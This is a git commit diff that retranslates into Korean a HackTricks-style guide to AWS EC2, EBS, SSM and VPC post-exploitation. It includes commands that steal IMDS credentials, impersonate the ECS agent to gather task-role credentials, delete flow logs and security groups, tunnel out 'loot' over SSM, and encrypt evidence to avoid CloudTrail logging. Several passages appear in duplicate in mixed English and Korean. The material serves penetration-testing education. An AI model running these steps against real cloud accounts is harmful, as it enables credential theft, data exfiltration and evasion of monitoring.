Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-13 14:44:10 +00:00
parent f62de87288
commit 8c26bebe0c

View File

@@ -1,4 +1,4 @@
# AWS - EC2, EBS, SSM & VPC Post Exploitation
# AWS - EC2, EBS, SSM & VPC 사후 침해 활동
{{#include ../../../../banners/hacktricks-training.md}}
@@ -12,8 +12,8 @@
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC traffic mirroring는 인스턴스 자체에 아무것도 설치할 필요 없이 **VPC 내 EC2 인스턴스의 수신 및 발신 트래픽을 복제**합니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS) 같은 곳으로 전송됩니다.\
공격자는 이를 악용해 모든 트래픽을 캡처하고 그로부터 민감한 정보를 얻을 수 있습니다:
VPC traffic mirroring는 VPC 내 EC2 인스턴스에 대해 인바운드 및 아웃바운드 트래픽을 인스턴스에 별도의 소프트웨어를 설치할 필요 없이 복제합니다. 이 복제된 트래픽은 일반적으로 네트워크 침입 탐지 시스템(IDS) 같은 곳으로 전송되어 분석 및 모니터링됩니다.\
공격자는 이를 악용해 모든 트래픽을 캡처하 민감한 정보를 획득할 수 있습니다:
자세한 내용은 다음 페이지를 확인하세요:
@@ -21,9 +21,9 @@ VPC traffic mirroring는 인스턴스 자체에 아무것도 설치할 필요
aws-malicious-vpc-mirror.md
{{#endref}}
### Copy Running Instance
### 실행 중인 인스턴스 복사
인스턴스에는 대개 어떤 식으로든 민감한 정보가 포함되어 있습니다. 내부로 침투할 수 있는 방법은 여러 가지가 있습니다 (자세한 내용은 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)를 확인하세요). 하지만 그 안에 무엇이 들어 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 그로부터 새 인스턴스(심지어 자신의 계정에서도)를 실행하는 것**입니다:
인스턴스에는 보통 어떤 형태로든 민감한 정보가 어 있습니다. 내부로 침투는 방법은 여러 가지가 있습니다(참조: [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). 그러나 포함된 내용을 확인하는 또 다른 방법은 **AMI를 생성하고 그로부터 새 인스턴스(자신의 계정이라도)를 실행하는 것**입니다:
```shell
# List instances
aws ec2 describe-images
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
```
### EBS Snapshot dump
**Snapshots 볼륨의 백업입니다**, 일반적으로 **민감한 정보를 포함**하고 있으므로 확인 해당 정보가 드러납니다.\
스냅샷이 없는 **volume**을 발견하면: **스냅샷을 생성**하고 다음 작업을 수행하거나 계정 내 인스턴스에 **마운트**할 수 있습니다:
**Snapshots 볼륨의 백업입니다**, 일반적으로 **민감한 정보**를 포함하고 있으므로 확인하면 해당 정보를 노출할 수 있습니다.
만약 **volume without a snapshot**을 찾았다면: **Create a snapshot**을 생성하여 다음 작업을 수행하거나 계정 내부의 인스턴스에 단순히 **mount it in an instance** 하세요:
{{#ref}}
aws-ebs-snapshot-dump.md
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
### Covert Disk Exfiltration via AMI Store-to-S3
EC2 AMI를 `CreateStoreImageTask`를 사용해 S3로 직접 내보내 스냅샷 공유 없이 원시 디스크 이미지를 얻을 수 있습니다. 이렇게 하면 인스턴스 네트워킹을 변경하지 않고 전체 오프라인 포렌식 또는 데이터 절취가 가능합니다.
EC2 AMI를 `CreateStoreImageTask`로 바로 S3로 내보내 snapshot 공유 없이 raw 디스크 이미지를 얻습니다. 이렇게 하면 인스턴스 네트워킹을 건드리지 않고 전체 오프라인 포렌식이나 데이터 절취가 가능합니다.
{{#ref}}
aws-ami-store-s3-exfiltration.md
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
### Live Data Theft via EBS Multi-Attach
io1/io2 Multi-Attach 볼륨을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 스냅샷 없이 실시간 데이터를 흡출할 수 있습니다. 피해자 볼륨이 동일 AZ 내에서 이미 Multi-Attach가 활성화된 경우 유용합니다.
io1/io2 Multi-Attach 볼륨을 두 번째 인스턴스에 연결하고 읽기 전용으로 마운트하여 snapshot 없이 실시간 데이터를 흘려빼냅니다. 피해자 볼륨이 이미 동일 AZ 내에서 Multi-Attach가 활성화된 경우 유용합니다.
{{#ref}}
aws-ebs-multi-attach-data-theft.md
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
### EC2 Instance Connect Endpoint Backdoor
EC2 Instance Connect Endpoint를 생성하고 ingress를 허용한 일시적 SSH 키를 주입 관리되는 터널을 통해 프라이빗 인스턴스에 접합니다. 공 포트를 열지 않고 빠른 횡적 이동 경로를 제공합니다.
EC2 Instance Connect Endpoint를 생성하고 ingress를 허용한 일시적 SSH 키를 주입하여 관리되는 터널을 통해 private 인스턴스에 접합니다. 공 포트를 열지 않고 빠른 lateral movement 경로를 제공합니다.
{{#ref}}
aws-ec2-instance-connect-endpoint-backdoor.md
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
### EC2 ENI Secondary Private IP Hijack
피해자 ENI의 보조 프라이빗 IP를 공격자 제어 ENI로 이동시켜 IP로 allowlisted된 신뢰된 호스트를 가장합니다. 특정 주소한 내부 ACLs 또는 SG 규칙을 우회할 수 있니다.
피해자 ENI의 secondary private IP를 공격자 제어 ENI로 이동시켜 IP로 allowlisted된 신뢰된 호스트를 사칭합니다. 특정 주소준으로 한 내부 ACL이나 SG 규칙을 우회할 수 있게 합니다.
{{#ref}}
aws-eni-secondary-ip-hijack.md
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
### Elastic IP Hijack for Ingress/Egress Impersonation
피해자 인스턴스의 Elastic IP를 공격자에게 재연결하여 수신 트래픽을 가로채거나 신뢰된 공용 IP에서 오는 것처럼 보이는 발신 연결을 생성합니다.
피해자 인스턴스의 Elastic IP를 공격자 재연결하여 인바운드 트래픽을 가로채거나 신뢰된 퍼블릭 IP에서 오는 것처럼 보이는 아웃바운드 연결을 생성합니다.
{{#ref}}
aws-eip-hijack-impersonation.md
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
### Security Group Backdoor via Managed Prefix Lists
security group 규칙이 customer-managed prefix list를 참조하는 경우, 공격자 CIDRs를 리스트에 추가하면 SG 자체를 수정하지 않고도 모든 의존 SG 규칙에 대한 접근이 조용히 확대됩니다.
Security Group 규칙이 customer-managed prefix list를 참조하는 경우, 목록에 공격자 CIDR 추가하면 SG 자체를 수정하지 않고도 해당 리스트를 참조하는 모든 SG 규칙의 접근 범위를 조용히 확장합니다.
{{#ref}}
aws-managed-prefix-list-backdoor.md
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
### VPC Endpoint Egress Bypass
게이트웨이 또는 인터페이스 VPC endpoint를 생성 격리된 서브넷에서 발신 접근을 회복합니다. AWS-managed private links를 활용하면 누락된 IGW/NAT 제어를 우회해 데이터 유출을 수행할 수 있습니다.
gateway 또는 interface VPC endpoint를 생성하여 격리된 서브넷에서 아웃바운드 접근을 회복합니다. AWS-managed private links를 활용하면 데이터 exfiltration을 위해 IGW/NAT 제어가 없음을 우회할 수 있습니다.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
### `ec2:AuthorizeSecurityGroupIngress`
ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security group에 수신 규칙(예: tcp:80을 0.0.0.0/0에서 허용)을 추가할 수 있으며, 이로 인해 내부 서비스가 공 인터넷 또는 권한 없는 네트워크에 노출됩니다.
ec2:AuthorizeSecurityGroupIngress 권한을 가진 공격자는 security group에 인바운드 규칙을 추가할 수 있습니다(예: 0.0.0.0/0에서 tcp:80 허용). 이로 인해 내부 서비스가 공 인터넷이나 허가되지 않은 네트워크에 노출됩니다.
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
```
# `ec2:ReplaceNetworkAclEntry`
`ec2:ReplaceNetworkAclEntry` 권한(또는 이와 유사한 권한)을 가진 공격자는 서브넷의 Network ACLs (NACLs) 수정하여 매우 관대하게 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용하 서브넷 전체 범위를 Internet 또는 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다. 인스턴스별로 적용되는 Security Groups 달리 NACLs는 서브넷 수준에서 적용되므로, 제한적인 NACL을 변경하면 더 많은 호스트에 대한 접근을 허용해 훨씬 큰 blast radius를 초래할 수 있습니다.
ec2:ReplaceNetworkAclEntry (or similar) 권한을 가진 공격자는 서브넷의 Network ACLs (NACLs) 수정 매우 관대하게 만들 수 있습니다 — 예를 들어 중요한 포트에 0.0.0.0/0을 허용하 서브넷 전체 범위를 인터넷이나 권한 없는 네트워크 세그먼트에 노출시킬 수 있습니다. 인스턴스별로 적용되는 Security Groups 달리 NACLs는 서브넷 수준에서 적용되므로 제한적인 NACL을 변경하면 훨씬 더 많은 호스트에 대한 접근을 허용하여 영향 범위가 훨씬 커질 수 있습니다.
```bash
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
```
### `ec2:Delete*`
ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 중요한 인프라 리소스 구성 — 예: key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints — 를 삭제할 수 있습니다. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거실을 초래할 수 있습니다.
ec2:Delete* 및 iam:Remove* 권한을 가진 공격자는 중요한 인프라 리소스 구성을 삭제할 수 있습니다 — 예: key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, managed endpoints. 이는 즉각적인 서비스 중단, 데이터 손실 및 포렌식 증거의 상실을 초래할 수 있습니다.
One example is deleting a security group:
한 예로 security group을 삭제하는 경우:
aws ec2 delete-security-group \
--group-id <SECURITY_GROUP_ID>
### VPC Flow Logs Cross-Account Exfiltration
VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 포인팅하면 피해자 계정 외부에서 네트워크 메타데이터(출발지/목적지, 포트)를 장기적으로 지속 수집하여 정찰할 수 있습니다.
VPC Flow Logs를 공격자가 제어하는 S3 버킷으로 지정하면 피해자 계정 외부에서 네트워크 메타데이터(source/destination, ports)를 지속적으로 수집하여 장기 정찰에 활용할 수 있습니다.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -150,143 +150,143 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
#### DNS Exfiltration
설령 EC2를 외부로 나가는 트래픽이 없도록 잠가도, 여전히 **exfil via DNS**가 가능합니다.
심지어 EC2의 아웃바운드를 차단해도, 여전히 **exfil via DNS**가 가능합니다.
- **VPC Flow Logs will not record this**.
- AWS DNS 로그에 접근할 수 없습니다.
- 이를 비활성화하려면 다음과 같이 "enableDnsSupport"를 false로 설정하세요:
- **VPC Flow Logs는 이것을 기록하지 않습니다.**
- AWS DNS logs에 접근할 수 없습니다.
- 이를 비활성화하려면 "enableDnsSupport"를 false로 설정하세요:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### Exfiltration via API calls
공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하므로 공격자는 Cloudtrail 로그에서 exfiltrate 데이터를 확인할 수 있습니다.
공격자는 자신이 제어하는 계정의 API endpoints를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하 공격자는 Cloudtrail 로그에서 exfiltrate data를 확인할 수 있습니다.
### Security Group 열기
### Open Security Group
포트를 이렇게 열어 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다:
다음과 같이 포트를 열면 네트워크 서비스에 대한 추가 접근 권한을 얻을 수 있습니다:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
EC2 인스턴스를 실행하고 ECS 인스턴스 실행하는 데 사용하도록 등록한 ECS 인스턴스의 데이터를 탈취할 수 있습니다.
EC2 인스턴스를 실행하고 이를 ECS 인스턴스 실행용으로 등록한 ECS 인스턴스의 데이터를 탈취할 수 있습니다.
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
컨테이너 인스턴스에서 실행 중인 어떤 ECS task 내부에서의 침해만으로도 일반적으로 호스트 역할과 해당 노드의 다른 모든 task에 연결된 IAM 역할로 피벗하기에 충분합니다. Because there is **no task isolation for ECS-on-EC2**, 기본적으로 모든 task는 EC2 Instance Metadata Service (IMDS)를 쿼리할 수 있고, 컨테이너 인스턴스 프로파일을 탈취한 뒤 ECS agent가 제어 평면과 통신할 때 사용하는 동일한 WebSocket 프로토콜(이 공격 프리미티브를 **ECScape**)을 통해 해당 호스트에 현재 스케줄된 모든 task 자격증명을 요청할 수 있습니다. Latacora는 이 워크플로우를 그들의 [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)에 문서화했으며, 아래 공격 요약은 이를 압축한 것입니다.
ECS의 EC2 launch type에서는 제어 플레인이 각 task role을 가정하고 임시 자격증명을 Agent Communication Service(ACS) WebSocket 채널을 통해 ECS agent로 전달합니다. 에이전트는 그런 다음 task metadata endpoint(169.254.170.2)를 통해 컨테이너에 해당 자격증명을 제공합니다. ECScape 연구는 컨테이너가 IMDS에 접근해 instance profile을 탈취할 수 있으면 ACS 상에서 에이전트를 가장해 해당 호스트의 모든 task role 자격증명을 받을 수 있음을 보여줍니다. 여기에는 metadata endpoint로 노출되지 않는 task execution role 자격증명도 포함됩니다.
#### Attack chain
#### 공격 체인
1. **Steal the instance profile from inside the container.** IMDSv2가 요구된다고 가정하고, 토큰을 요청한 뒤 프로파일을 가져옵니다.
1. **IMDS에서 container instance role을 탈취.** ECS agent가 사용하는 호스트 역할을 얻기 위해 IMDS 접근이 필요합니다.
```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
```
2. **Use the container instance role to impersonate the ECS agent.** 해당 자격증명을 사용하면 ECS agent가 사용하는 문서화되지 않은 WebSocket 채널로 통신할 수 있습니다; 제어 평면은 실제 agent로서 귀하를 신뢰하여 귀하의 프로세스에 **all task IAM credentials**을 전달합니다. 이제 로컬에서 더 높은 권한의 task를 실행하거나 task 환경의 비밀을 덤프하거나, 서비스를/태스크를 업데이트하여 완전히 검사할 수 있는 워크로드로 재배포할 수 있습니다.
#### IMDS reachability with IMDSv2 + hop limit 1
2. **ACS poll endpoint와 필요한 식별자 식별.** instance role 자격증명을 사용해 `ecs:DiscoverPollEndpoint`를 호출하여 ACS endpoint를 얻고 cluster ARN, container instance ARN 같은 식별자를 수집합니다. cluster ARN은 task metadata(169.254.170.2/v4/)로 노출되고, container instance ARN은 agent introspection API나(허용되는 경우) `ecs:ListContainerInstances`로 얻을 수 있습니다.
`HttpTokens=required``HttpPutResponseHopLimit=1`로 IMDSv2를 설정하면 추가 홉(Docker bridge) 뒤에 있는 task만 차단됩니다. 다른 네트워킹 모드는 Nitro 컨트롤러에서 한 홉 이내에 남아 응답을 계속 받습니다:
3. **ACS 상에서 ECS agent를 가장.** poll endpoint에 SigV4 서명된 WebSocket을 시작하고 `sendCredentials=true`를 포함합니다. ECS는 연결을 유효한 agent 세션으로 받아들이고 인스턴스의 모든 태스크에 대한 `IamRoleCredentials` 메시지를 스트리밍하기 시작합니다. 여기에는 ECR pull, Secrets Manager 조회, CloudWatch Logs 접근을 가능하게 하는 task execution role 자격증명도 포함됩니다.
Find the PoC in <https://github.com/naorhaziz/ecscape>
#### IMDSv2 + hop limit 1 설정 시 IMDS 접근성
`HttpTokens=required``HttpPutResponseHopLimit=1`로 IMDSv2를 설정해도 추가 홉(Docker bridge) 뒤에 있는 태스크만 차단됩니다. 다른 네트워킹 모드들은 Nitro 컨트롤러와 여전히 한 홉 이내에 있어 응답을 받습니다:
| ECS network mode | IMDS reachable? | Reason |
| --- | --- | --- |
| `awsvpc` | ✅ | 각 task는 여전히 IMDS에서 한 홉 떨어진 자체 ENI를 받으므로 토큰과 메타데이터 응답이 정상적으로 도착합니다. |
| `host` | ✅ | Tasks가 호스트 네임스페이스를 공유하므로 EC2 인스턴스와 동일한 홉 거리를 보게 됩니다. |
| `bridge` | ❌ | 추가 홉이 hop limit을 소모하기 때문에 Docker bridge에서 응답이 중단됩니다. |
| `awsvpc` | ✅ | 각 태스크는 자체 ENI를 가지며, IMDS와 여전히 한 홉 거리이므로 토큰과 메타데이터 응답이 정상적으로 도착합니다. |
| `host` | ✅ | 태스크들이 호스트 네임스페이스를 공유하므로 EC2 인스턴스와 동일한 홉 거리를 가집니다. |
| `bridge` | ❌ | 추가 홉 때문에 Docker bridge에서 응답이 소멸되어 hop limit을 초과합니다. |
따라서, **never assume hop limit 1 protects awsvpc or host-mode workloads**항상 컨테이너 내부에서 테스트하세요.
따라서, **hop limit 1 awsvpc 또는 host-mode 워크로드를 보호한다고 절대 가정하지 마세요**항상 컨테이너 내부에서 테스트하세요.
#### Detecting IMDS blocks per network mode
#### 네트워크 모드별 IMDS 차단 탐지
- **awsvpc tasks:** Nitro가 on-host에 link-local 169.254.169.254 주소를 주입하기 때문에 Security group, NACL, 또는 라우팅 변경으로는 를 차단할 수 없습니다. `/etc/ecs/ecs.config`에서 `ECS_AWSVPC_BLOCK_IMDS=true` 설정을 확인하세요. 해당 플래그가 없으면(기본값) task 내부에서 직접 IMDS curl할 수 있습니다. 플래그가 설정되어 있면 호스트/agent 네임스페이스로 피벗하여 이를 되돌리거나 awsvpc 외부에서 툴링을 실행해야 합니다.
- **awsvpc tasks:** Nitro가 호스트에 link-local 주소 169.254.169.254를 주입하기 때문에 Security groups, NACLs 또는 라우팅 조정만으로는 해당 주소를 차단할 수 없습니다. `/etc/ecs/ecs.config`에서 `ECS_AWSVPC_BLOCK_IMDS=true` 확인하세요. 플래그가 없으면(기본값) 태스크에서 직접 IMDS curl할 수 있습니다. 플래그가 설정되어 있면 호스트/agent 네임스페이스로 피벗해 값을 되돌리거나 awsvpc 외부에서 도구를 실행하세요.
- **bridge mode:** hop limit 1이 구성되어 있음에도 메타데이터 요청이 실패한다면 수비 측에서 `DOCKER-USER` 드롭 규칙(예: `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`)을 삽입했을 가능성이 큽니다. `iptables -S DOCKER-USER`나열하면 확인되며, 루트 권한이 있으면 IMDS 쿼리하기 전에 해당 규칙을 삭제하거나 순서를 변경할 수 있습니다.
- **bridge mode:** hop limit 1이 설정되어 있음에도 메타데이터 요청이 실패하면, 방어자가 아마도 `DOCKER-USER` `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP` 같은 drop 규칙을 삽입했을 가능성이 큽니다. `iptables -S DOCKER-USER`확인할 수 있으며, root 권한이 있으면 IMDS 쿼리 전에 해당 규칙을 삭제하거나 순서를 변경할 수 있습니다.
- **host mode:** 에이전트 구성에서 `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`를 확인하세요. 이 설정은 task IAM 역할을 완전히 제거하므로, 이를 다시 활성화하거나 awsvpc task로 이동하거나 호스트의 다른 프로세스를 통해 자격증명을 탈취해야 합니다. 값이 `true`(기본값)일 때는 호스트 모드의 모든 프로세스—침해된 컨테이너를 포함—가 IMDS에 접근할 수 있으며, bespoke eBPF/cgroup 필터가 `169.254.169.254`타깃으로 하지 않는 한 접근이 허용됩니다; 해당 주소를 참조하는 tc/eBPF 프로그램이나 iptables 규칙을 찾아보세요.
- **host mode:** 에이전트 설정에서 `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`를 확인하세요. 이 설정은 태스크 IAM 역할을 완전히 제거하므로, 설정을 다시 활성화하거나 awsvpc 태스크로 이동하거나 호스트의 다른 프로세스를 통해 자격증명을 탈취해야 합니다. 값이 `true`(기본값)일 경우, 맞춤형 eBPF/cgroup 필터가 `169.254.169.254`대상으로 하지 않는 한 손상된 컨테이너를 포함한 모든 host-mode 프로세스가 IMDS에 접근할 수 있습니다; `tc`/eBPF 프로그램이나 해당 주소를 참조하는 iptables 규칙을 찾아보세요.
Latacora는 대상 계정에 배포하여 어떤 네트워크 모드가 여전히 메타데이터를 노출하는지 열거하고 다음 단계를 계획할 수 있게 해주는 [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)를 공개했습니다.
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
IMDS를 노출하는 모드를 파악하면 post-exploitation 경로를 계획할 수 있습니다: 임의의 ECS task를 목표로 삼아 인스턴스 프로파일을 요청하고 agent를 가장하여 다른 모든 task 역할을 수집 클러스터 내부에서 수평 이동이나 persistence를 확보하세요.
어떤 모드가 IMDS를 노출하는지 파악한 뒤에는 포스트-익스플로잇 경로를 계획할 수 있습니다: 임의의 ECS task를 노리고 instance profile을 요청하고 에이전트를 가장 다른 모든 task role을 수집하여 클러스터 내부에서 수평 이동이나 지속성을 확보하세요.
### Remove VPC flow logs
### VPC flow logs 제거
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM Port Forwarding
필요한 권한:
Required permissions:
- `ssm:StartSession`
명령 실행 외에도 SSM은 traffic tunneling을 허용하며, Security Groups NACLs 때문에 네트워크 접근이 불가능한 EC2 인스턴스에서 이를 악용해 pivot할 수 있습니다.
이것이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 private EKS cluster로 pivoting 하는 경우입니다.
명령 실행 외에도, SSM은 트래픽 터널링을 허용하며 이를 악용해 Security Groups 또는 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot할 수 있습니다.
이것이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 private EKS cluster로 pivoting하는 경우입니다.
> 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. 로컬 머신에 SessionManagerPlugin을 설치합니다
2. 다음 명령으로 Bastion EC2에 로그인합니다:
1. 본인 기기에 SessionManagerPlugin을 설치합니다
2. 다음 명령을 사용해 Bastion EC2에 로그인합니다:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트 Bastion EC2의 AWS 임시 자격 증명을 얻습니다
4. 자격 증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 옮깁니다
5. Bastion EC2로서 EKS에 로그인합니다:
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용해 Bastion EC2의 AWS 임시 자격 증명을 가져옵니다
4. 자격 증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 옮깁니다
5. Bastion EC2로서 EKS에 로그인:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost`를 가리키도록 업데이트합니다.
6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost`를 가리키도록 업데이트하세요
7. 다음과 같이 SSM 터널을 생성합니다:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. `kubectl` 도구의 트래픽 이제 Bastion EC2를 통해 SSM 터널로 전달되며, 다음 명령을 실행하여 로컬 머신에서 비공개 EKS 클러스터에 접근할 수 있습니다:
8. `kubectl` 도구의 트래픽 이제 SSM 터널을 통해 Bastion EC2를 경유하여 전달되며, 다음 명령을 실행하여 로컬 머신에서 프라이빗 EKS 클러스터에 액세스할 수 있습니다:
```shell
kubectl get pods --insecure-skip-tls-verify
```
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). 트래픽이 보안된 AWS SSM 터널을 통해 전달되므로 모든 종류의 MitM 공격으로부터 안전합니다.
암호화된 트래픽이 보안된 AWS SSM 터널을 통해 전달되므로, `--insecure-skip-tls-verify` 플래그(또는 K8s 감사 도구의 동등한 옵션)를 설정하지 않으면 SSL 연결이 실패한다는 점에 유의하세요. 트래픽이 터널링되기 때문에 모든 종류의 MitM 공격으로부터 안전합니다.
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
마지막으로, 이 기술은 프라이빗 EKS 클러스터만을 타깃으로 하는 것이 아닙니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 피봇할 수 있습니다.
마지막으로, 이 기법은 프라이빗 EKS 클러스터 공격에만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 pivot할 수 있습니다.
---
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
#### 빠른 로컬 ↔️ 원격 포트 포워딩 (AWS-StartPortForwardingSession)
If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
만약 EC2 인스턴스에서 로컬 호스트로 **하나의 TCP 포트만 포워딩**하면 된다면 `AWS-StartPortForwardingSession` SSM document를 사용할 수 있습니다(원격 호스트 파라미터는 필요 없음):
만약 **EC2 인스턴스에서 로컬 호스트로 단일 TCP 포트만** 포워딩하면 된다면, `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
이 명령은 워크스테이션(`localPortNumber`)과 인스턴스의 선택된 포트(`portNumber`) 사이에 양방향 터널을 생성합니다 **인바운드 Security-Group 규칙을 열지 않고**.
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **인바운드 Security-Group 규칙을 열지 않고**.
Common use cases:
* **File exfiltration**
1. 인스턴스에서 exfiltrate하려는 디렉터리를 가리키도록 간단한 HTTP 서버를 실행합니다:
1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
```bash
python3 -m http.server 8000
```
2. 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다:
2. From your workstation fetch the files through the SSM tunnel:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **Accessing internal web applications (e.g. Nessus)**
* **내부 웹 애플리케이션에 접근 (예: Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -294,7 +294,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
팁: 증거를 exfiltrating하기 전에 압축하고 암호화하여 CloudTrail이 평문 내용을 기록하지 않도록 하세요:
팁: 증거를 exfiltrating하기 전에 Compress하고 encrypt하여 CloudTrail이 clear-text content를 기록하지 않도록 하세요:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -305,7 +305,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
```
### 공개 및 비공개 AMIs에서 민감한 정보 검색
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 **민감한 정보를 검색**하도록 설계된 도구입니다. 이 도구는 대상 AMIs에서 instances를 실행하고 그들의 volumes를 마운트한 뒤 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.
